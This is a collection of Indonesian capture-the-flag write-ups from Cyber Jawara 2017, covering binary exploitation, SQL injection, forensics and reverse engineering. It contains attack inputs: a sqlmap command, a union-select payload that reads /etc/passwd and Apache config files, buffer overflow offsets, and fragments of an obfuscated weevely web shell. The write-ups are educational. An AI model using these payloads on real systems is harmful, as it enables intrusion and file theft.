Terima Kasih
Untuk teman-teman yang telah merelakan waktunya untuk menulis writeup ini
dan dengan sukarela memberikan kepada kami untuk dipublish bersama,
demi memajukan IT Security Indonesia
Dan terima kasih untuk team yang tidak mau disebutkan namanya, yang telah
memberikan writeup terbaiknya
Written by ArRay
system(private_gen);
---- snip ------
Dari potongan code tersebut, kita tau bahwa ada vulnerability di sana (perhatikan
Sekarang kita tahu, ada vulnerability command injection di sana. Mari coba kita
eksekusi.
Ups. Tidak mempan. Mari perhatikan lagi code diatas. Perhatikan yg saya tandai
biru. Passphrase diapit oleh tanda petik tunggal. Sehingga kita perlu memberikan
penutup petik pada passprashe tersebut, baru kemudian command kita.
done.
Written by ashurin
Melakukan analisa file binary yang diberikan dengan menggunakan IDA Pro dan
memperoleh beberapa informasi berikut:
a. Terdapat beberapa fungsi buatan yaitu market dan load_flag
b. Setelah fungsi load_flag dipanggil, string flag dalam file flag.txt akan di load
dalam variable flag.
c. Variable flag akan ditampilkan oleh fungsi market ketika user berhasil
membeli Flag.
d. Uang awal yang diberikan adalah 10 BTC dan disimpan dalam variable v9
yang bertipe unsigned integer
e. Celah terdapat pada fungsi market tepatnya pada proses jual, yaitu harga
jual yang bertipe signed integer akan ditambahkan ke uang awal (v9).
Tipe data unsigned integer apabila berisi data negative maka akan dikonversi
menjadi kebalikannya yang menghasilkan bilangan besar. Hal ini terjadi karena
tipe data unsigned integer tidak menerima inputan data negative. Ketika suatu
data negative dan bertipe unsigned integer maka data tersebut akan dikonversi
dengan kalkulasi (UINTMAX + 1) – DataNegatif. Sehingga jika kita memasukkan
harga negative yang lebih besar dari uang awal maka uang awal kita akan
b. Menjualnya dengan harga negative yang melebihi sisa uang yang ada
Flag : CJ2017{y0_d4w6_buy_zero_day_with_zero_day}
Jawara17
Written by ArRay
Taraaaaa.... Binary ini ada function cat flag.txt. Yang artinya, ada function
khusus yang menjalankan comman cat flag.txt. Sekarang kita cari tahu, ada
function apa aja di dalamnya.
Dumping binary nya. Cukup panjang. Jadi saya potong seperlunya.
00000000004005b6 <cyber>:
4005b6: 55 push %rbp
4005b7: 48 89 e5 mov %rsp,%rbp
4005ba: bf a8 06 40 00 mov $0x4006a8,%edi
4005bf: e8 bc fe ff ff callq 400480 <system@plt>
4005c4: 90 nop
00000000004005c7 <jawara>:
4005c7: 55 push %rbp
4005c8: 48 89 e5 mov %rsp,%rbp
4005cb: 48 83 c4 80 add $0xffffffffffffff80,%rsp
4005cf: 48 8d 45 80 lea -0x80(%rbp),%rax
00000000004005e8 <main>:
4005e8: 55 push %rbp
400610: e8 b2 ff ff ff callq 4005c7 <jawara>
400615: b8 00 00 00 00 mov $0x0,%eax
40061a: c9 leaveq
40061b: c3 retq
40061c: 0f 1f 40 00 nopl 0x0(%rax)
Ada 2 function yang cukup menarik, cyber dan jawara. Kemungkinan di salah
satu function tersebut dilakukan cat flag. Dengan memperhatikan daleman
masing-masing function, function cyber adalah satu-satunya yang melakukan
eksekusi “system”. Artinya di function inilah cat flag di jalankan.
Sekarang, bagaimana cara kita menjalankan function cyber..? Mari kita coba
jalankan file nya.
Segmentation fault pada buffer len 129. Artinya, panjang buffer max adalah
128.
Junk = 128
border space = 16 (karena binary 64byte, lihat info file).
RIP space = 8
RIP address = 00000000004005b6 (address function cyber)
Mari dicoba
taraaaaaaaaaaaaaaaa
SQL Injection
dari informasi ini terlihat banyak paket data sehingga kami mencoba
menghubungkan dengan petunjuk yaitu SQL injection.
Maka kami melakukan pencarian terhadap semua paket yang berkaitan dengan
http.
Kata kunci awal yang kami cari adalah flag karena bisa jadi kami langsung
menemukan tanpa harus merunut sql Injectionnya.
kami telusuri dengan klik pada bagian HTML Form URL bagian bawah
terdapat ini
kemudian kami follow-> HTTP stream dengan klik kanan pada paket yang
diatas
Written by MrKopy0r
Setelah di ekstrak, kami menemukan sebuah file berformat .001 kami tidak tau
file apakah ini sebenar nya
Dalam digital forensic ketika mendapati sebuah file pasti yang harus dilakukan
adalah mengidentifikasi sebuah file untuk mengetahui tipe file apakah ini
meskipun sudah diketahui formatnya.
Lalu kami coba untuk mengidentifikasi file tersebut menggunakan perintah file.
Dalam file tersebut terdapat 4 header gambar berformat jpeg ini sudah
dipastikan bahwa file ini berisi 4 gambar
Kami tergoda untuk mengekstrak isi file tersebut langsung kami ekstrak
dengan foremost
NHA-13
https://s.id/2lS
Written by Nayeon
Ini adalah disk windows. Sekarang kita coba men-deploy file ini melalui
windows disk management.
Disk ini terkunci dengan bitlocker encrypted. Mari kita coba mengakses disk ini.
Klik kanan->open
Perhatikan pada drive tersebut. Disk memiliki lable cukup panjang, dan ada
“pass=Nf –Rfs_15!” di sana. Apakah ini yang kita cari? Mari kita coba.
Hanya ada 3 file gambar. Saya sudah mencoba image zoom, dan hal aneh aneh
lainnya. Kemudian saya menemukan flag di dalam file gambar. Mari kita buka
satu satu.
File sampul.jpg ----> flag3= magic}
File 85914.jpg ----> flag2= _&_
File knowledge ----> flag1= CJ2017{knights
Solved
PNG
Hint:
Multiple PNG
File signature
PNG chunk (Size)
And try to open it in various image application
Written by ashurin
FLAG CJ2017{k4l4U_K4u_s3n4nG_h4ti_t3puk_t4ng4n}
Evil Client
http://cj2017.ctf.idsirtii.or.id:1111/evil/
Written by versailes
Tidak ada petunjuk apa-apa di sana. Mari kita analisa source code yang
diberikan.
<?php
session_start();
include('flag.php');
if(!isset($_SESSION['USERSALT'])) {
$_SESSION['USERSALT'] = rand(1000,9999);
$_SESSION['PASSWORD'] = md5($_SESSION['USERSALT'].rand(1000,9999));
}
if (isset($_POST['key'])) {
if(md5($_SESSION['USERSALT'].$_POST['key']) == $_SESSION['PASSWORD']){
die(FLAG);
} else {
$_SESSION = [];
session_destroy();
die("wrong");
}
}
if($_COOKIE['env'] == "development"){
var_dump($_SERVER);
var_dump($_SESSION);
var_dump($_POST);
var_dump($_GET);
var_dump($_ENV);
}
?>
Terlihat, password dibuat secara acak dan di smpan pada session. Password
dibuat dengan salt yang acak juga. Password dibuat dengan hash md5.
md5($_SESSION['USERSALT'].$_POST['key'])
Done!
Restricted
Slamet baru saja membuat sebuah web sederhana. Dapatkah Anda menguji
keamanannya?
http://cj2017.ctf.idsirtii.or.id:1111/restricted
Written by black_jack
Saya sudah mencoba sql injection di kedua form, dan tidak ada hasil. Sekarang,
saya coba registrasi. Setelah regisrasi dan login, ada link flag di sana. Setelah di
klik, ada pesan, yang menunjukkan hanya admin yang bisa masuk.
Hanya ada sedikit menu. Selanjutnya yang bisa dicoba adalah user setting.
Halaman ini adalah untuk merubah password user.
Kolom username sudah terisi dengan username saya. Sekarang, kita coba
merubah username menjadi admin dengan inspect element.
Violaaaaaaaaaaaaaaaaaaaaaaa
DARK
Web kami baru saja di-deface. Bantu kami untuk mengambil alih kembali.
http://cj2017.ctf.idsirtii.or.id:1111/dark/
Hint:
No brute force
Authenticate with $_SERVER['PHP_AUTH_USER'] &
$_SERVER['PHP_AUTH_PW'].
Written by jonias
System Utility
http://cj2017.ctf.idsirtii.or.id:2222/sysutil/
Hint:
dengan melakukan klik pada download maka dilakukan cek pada web
developer
ditemukan informasi bahwa saat klik submit dilakukan fungsi POST dengan
param d_id=1
Kami melakukan cek sql injection dengan param d_id dengan menggunakan
tool sqlmap didapat informasi yang menarik yaitu bug SQL injection pada
download aplikasi utilitas system. Bug terbeut adalah
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0.12
Database: software
Table: tb_software
[3 columns]
+--------+--------------+
| Column | Type |
Dengan tambahan informasi bahwa flag terdapat pada file konfigurasi apache
Maka kami membuat payload request dengan bantuan firefox dengan plugin
hackbar.
karena d_id=1 kemudian kami ubah menjadi 9999 dengan asumsi id tidak ada
dan kami tambahkan payload
union select 1,’/etc/passwd’,’/etc/passwd’
/etc/apache2/sites-enabled/000-default.conf
/var/www/html/sysutil/adminmanager-d6694c083d44/index.php
hasilnya MakNyuzzz
CJ2017{from_SQLI_to_Localz_Filez_Incluzion}
Web Login
Web login
http://cj2017.ctf.idsirtii.or.id:3333/login/
Written by SleepWalker
pada saat di restore ternyata minta password. Petunjuk berikutnya tidak ada
sehingga kami strings backup.zip
unresolved-2:Downloads ryanthe$ strings backup.zip
css/UT
css/index.phpUT
/frPK
css/style.cssUT
skip
fonts/ODelI1aHBYDBqgeIAH2zlCxe5Tewm2_XWfbGchcXw4g.woff2UT
terdapat remember.txt
sehingga kami coba ke http://cj2017.ctf.idsirtii.or.id:3333/login/remember.txt
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$loggedin = "ngadimin";
}
}
}
?>
<!DOCTYPE html>
<html >
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<form method="POST">
<h4> Login </h4>
<?php
if ($loggedin != "") {
echo "Welcome " . $loggedin . "! Flag is not in here<br><br>";
}
?>
<input class="name" type="text" name="name" placeholder="Enter Username"/>
<input class="pw" type="password" name="pw" placeholder="Enter Password"/>
</body>
</html>
./sqlmap.py -u "http://cj2017.ctf.idsirtii.or.id:3333/login/"
--data="name=admin*&pw=admin" --prefix="\"))))))))))))))))))))))))))))),1,8))"
--suffix="-- -" --user-agent=random -v 3 -technique=B --level=5 --risk=3 --dbms=MySQL
--dbs
hasilnya
Database: login
Table: tb_flag
[1 entry]
+----+-------------------------------------+
| id | flag |
+----+-------------------------------------+
| 1 | CJ2017{SQLmap_make_you_lazy_kiddo!} |
+----+-------------------------------------+
VIOLAAAAAA……..
APK Malware
https://s.id/2lL
Written by Angel_Cracker
Ternyata adalah file zip (menurut beberapa teman-teman saya, file apk
memang zip). Oke, kita extrack file tersebut. Setelah di extrack, saya
mendapatkan beberapa file.
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $ ls -l
total 23405
-rwxrwxrwx 1 root root 8148 Jan 1 1980 AndroidManifest.xml
drwxrwxrwx 1 root root 136 Aug 31 18:43 assets
-rwxrwxrwx 1 root root 2151048 Jan 1 1980 classes.dex
-rwxrwxrwx 1 root root 21794692 Aug 30 15:26 FlightSimulator.apk
drwxrwxrwx 1 root root 152 Aug 31 18:43 lib
drwxrwxrwx 1 root root 0 Aug 31 18:43 META-INF
drwxrwxrwx 1 root root 528 Aug 31 18:43 res
-rwxrwxrwx 1 root root 6224 Jan 1 1980 resources.arsc
-rwxrwxrwx 1 root root 103 Aug 31 14:34 soal.txt
angelo@angelcracker ~/Ctf/cyber_jawara_2017/APK Malware $
Dari sini, saya blank. Karena saya tidak mengerti file apk. Karena ini adalah ctf,
Taraaaaaaaaaaaaaaaaaaaa
Other
nc cj2k17.ctf.idsirtii.or.id 3377
Written by Zezippa
Ada sesuatu berkata flag.txt di sana. Kemudian objdump untuk melihat kira-kira
dimana flag.txt di gunakan.
Hanya ada 2 function: main dan handler. Sehingga function handler cukup
menarik. Kita lihat lebih lanjut dengan radare untuk mengetahui ada apa
dengan function handler.
Tidak ada hal menarik sebelum function handler di panggil. Sekarang kita lihat
function handler.
[0x00400bb0]> pdf @ sym.handler
/ (fcn) sym.handler 819
| sym.handler ();
Saya cut di bagian yang menarik saja. Pada gambar tersebut, terlihat command
untuk push data ke rbp. Data ini sangat menarik. Kenapa? Baca aja dari atas:
CJREVERSEPWN. Tentu saja sangat menarik.
Perhatikan kata-kata yang menarik dan dicoba. Siapa tau beruntung ;-)
Written by sohai
kita rapihkan codenya agar mudah di analisa nah bisa dilihat di gambar
perhatikan bagian
$m='strFJ";$sl="str_replace"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.
$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';
$n=substr($m, $_GET['a'], $_GET['b']);
disini ada parameter GET untuk mengakses nya dengan melempar nilai integer
dari setiap parameter get a & b, dengan mengabil string dari variable $m .
kalau di jalankan di browser bisa seperti ini
obfuscated.php?a=12&b=11 ,
nah untuk cara cepatnya saya perhatikan di bagian variable $m terdapat fungsi
familiar seperti str_replace. kenapa saya bisa menunjuk str_replace
dikarenakan pada bagian
$r=$n('C','','cCrCeate_CfuCCnCction');
nah ada tambahan lagi saya selalu memberi comment seblum fungsi $V(); di
jalankan, dan bagian $F di display;
function y($t){
$c=strlen($t);
$o="";
for($i=0;$i<$c;$i++){
$o.=chr(ord($t[$i])-20);
}return $o;
}
jadi besar kemungkinan kita tentuin key nya apa kemudian jika dia nilainya
sama dengan
`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cUZSKT[cK`TQK[NRa_OM`U[ZKc[^W
_
maka akan masuk ke statement if nya
oleh kerena itu kita coba bikin decrypt kalimat tersebut
manjadi
<?php
$en =
"`TU_KU_KcQQbQXeKMZPK[ZXeK_WUPPUQ_Ka_QK`TU_KcU`T[a`KWZ[cUZSKT[cK`TQK[NRa_OM`U[ZKc[^
W_";
print y2($en);
function y2($t){
$c=strlen($t);
$o="";
for($i=0;$i<$c;$i++){
$o.=chr(ord($t[$i])-20);
}return $o;
}
?>
this_is_weevely_and_only_skiddies_use_this_without_knowing_how_the_obfusc
ation_works
Read Assembly
nc cj2k17.ctf.idsirtii.or.id 6001
Written by ashurin
Langkah yang harus dilakukan disini adalah dengan memahami alur pada hasil
disassemble fungsi-fungsi tersebut. Setelah dipahami, alur processnya adalah
sebagai berikut
➢ Pertama fungsi main akan memanggil fungsi init untuk menginisialisasi
buffer
➢ Kedua fungsi main akan memanggil fungsi check
➢ Ketiga fungsi main akan meminta user untuk memasukkan input (password)
lalu memanggil fungsi correct
➢ Keempat fungsi correct akan melakukan pengecekan terhadap password
yang dimasukkan oleh user
➢ Kelima, jika password yang dimasukkan benar (fungsi correct menghasilkan
benar) maka fungsi check akan memanggil fungsi get_flag dimana dalam
fungsi tersebut file flag akan dibaca dan ditampilkan.
Dari alur process tersebut yang harus di fokuskan adalah pada fungsi correct,
dan setelah dianalisa alurnya kami memperoleh passwordnya yaitu
XYPVMCJ2017. Rincian analisanya adalah sebagai berikut
Pertama terdapat pengecekan panjang string yaitu 0xb (11). Berarti panjang
inputan = 11. Buat dulu skema nya :
400802: 48 83 c0 05 add rax,0x5
400806: 0f b6 00 movzx eax,BYTE PTR [rax]
400809: 3c 43 cmp al,0x43
=> index ke 5 dari string yang dimasukkan dicompare dengan 0x43 atau
karakter C sehingga di dapat skema baru :
40081b: 48 83 c0 06 add rax,0x6
40081f: 0f b6 00 movzx eax,BYTE PTR [rax]
400822: 3c 4a cmp al,0x4a
=> Selanjutnya terdapat instruksi untuk mengambil index ke 5 dari string yang
dimasukkan yaitu huruf C (0x43) kemudian di kurangi dengan 0x15. Tetapi kami
berpikir disini jika dikurangi maka yang dihasilkan bukanlah huruf tetapi titik.
Kami berasumsi jika disini telah di edit yang seharusnya add menjadi sub.
Sehingga index 0 adalah 0x43+0x15=0x58 atau huruf X sehingga skema
menjadi X
=> kemudian index ke 4 diisi dengan nilai eax-0xb, dimana eax berisi huruf X
sehingga index ke 4 akan berisi 0x58-0xb = 0x4d atau huruf ‘M’.
Skema menjadi : XYPVMCJ++++.
Dari sini kami berpikiran langsung karena terdapat huruf CJ maka kemungkinan
di ikuti dengan 2017. Selanjutnya kami memasukkan password tersebut dan
mendapatkan flagnya.
Dari alur process tersebut yang harus di fokuskan adalah pada fungsi correct,
dan setelah dianalisa alurnya kami memperoleh passwordnya yaitu
XYPVMCJ2017. Selanjutnya kami memasukkan password tersebut dan
mendapatkan flagnya.
Bonus Flag
Written by hyda
Terdapat zip lagi lalu kami ekstrak lagi untuk mengetahui isi filenya
Di dapati sebuah gambar ini
Kami merasa curiga dengan gambar ini kami coba caritahu exifnya karena di
soal terdapat clue Exif dengan exiftool
Getpass
http://203.34.119.226:1111/GetPass/
Written by SamMaEL
Disana kita diperintahkan untuk membongkar sebuah file binary getpass. Lagi
lagi sebuah file executable binary. Seperti biasa, pastikan dulu file tersebut
benar-benar binary.
david@shl ~/Ctf/cyber_jawara_2017/Getpass $ file GetPass
GetPass: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
tBuildID[sha1]=7105ba990cb93f73f360a6da337706b5a19d140a, not stripped
david@shl ~/Ctf/cyber_jawara_2017/Getpass $
Lalu strings... Tidak ada yg menarik pada hasil dump strings. Skip aja.
Mulai objdump
0000000000400646 <main>:
----snip----
40067b: 48 89 c6 mov %rax,%rsi
40067e: bf 73 07 40 00 mov $0x400773,%edi
400683: b8 00 00 00 00 mov $0x0,%eax
400688: e8 a3 fe ff ff callq 400530 <__isoc99_scanf@plt> (1)
40068d: 8b 45 f4 mov -0xc(%rbp),%eax (2)
400690: 3d e1 03 cb 01 cmp $0x1cb03e1,%eax (3)
400695: 74 0c je 4006a3 <main+0x5d>
400697: bf 76 07 40 00 mov $0x400776,%edi
40069c: e8 4f fe ff ff callq 4004f0 <puts@plt>
4006a1: eb 14 jmp 4006b7 <main+0x71>
4006a3: be d9 a4 65 00 mov $0x65a4d9,%esi
4006a8: bf 83 07 40 00 mov $0x400783,%edi
4006ad: b8 00 00 00 00 mov $0x0,%eax
4006b2: e8 59 fe ff ff callq 400510 <printf@plt>
---snip----
Tidak ada function lain selain main. Sehingga analisa cukup konsen di function
ini. Ketika file ini pertama kali dijalnkan, file meminta input. Salah satu function
input adalah scanf(). Perhatikan pada objdump diatas, yang saya tandai nomor
1. Function scanf dipanggil di sana. Di sini, meminta input passwod. Kemudian
(2) password dimasukkan ke sebuah variable pada rbp (eax). Lalu (3) adalah
function cmp (compare), membandingkan $eax dengan sesuatu di situ. Yap,
yang saya tandai merah. Jelas sekali itu adalah hexa. Sekarang kita decode.
Format string memberikan value yang tetap. Kemudian kita coba format
number.
Dari script tersebut, kita bisa mengetahui dat dikirim ke file post.php dengan
jossssssssssssssssss
Random Math
nc cj2k17.ctf.idsirtii.or.id 3939
Written by Hananda
Dari pesan tersebut, kita harus menyelesaikan soal matematika dalam waktu
kurang dari 30 detik, atau timeout. Soal random. Sehingga kita harus jago
matematika untuk bisa solving dengan cepat dan tepat. Jika kita tidak jago
matematika, maka ngoding adalah satu-satunya alternative.
Kita harus membuat script untuk melakukan koneksi ke service tersebut, lalu
melakukan matematika dasar, dan dpt flag (jika benar semua).
<?php
socket_close($sock);
?>
Credits: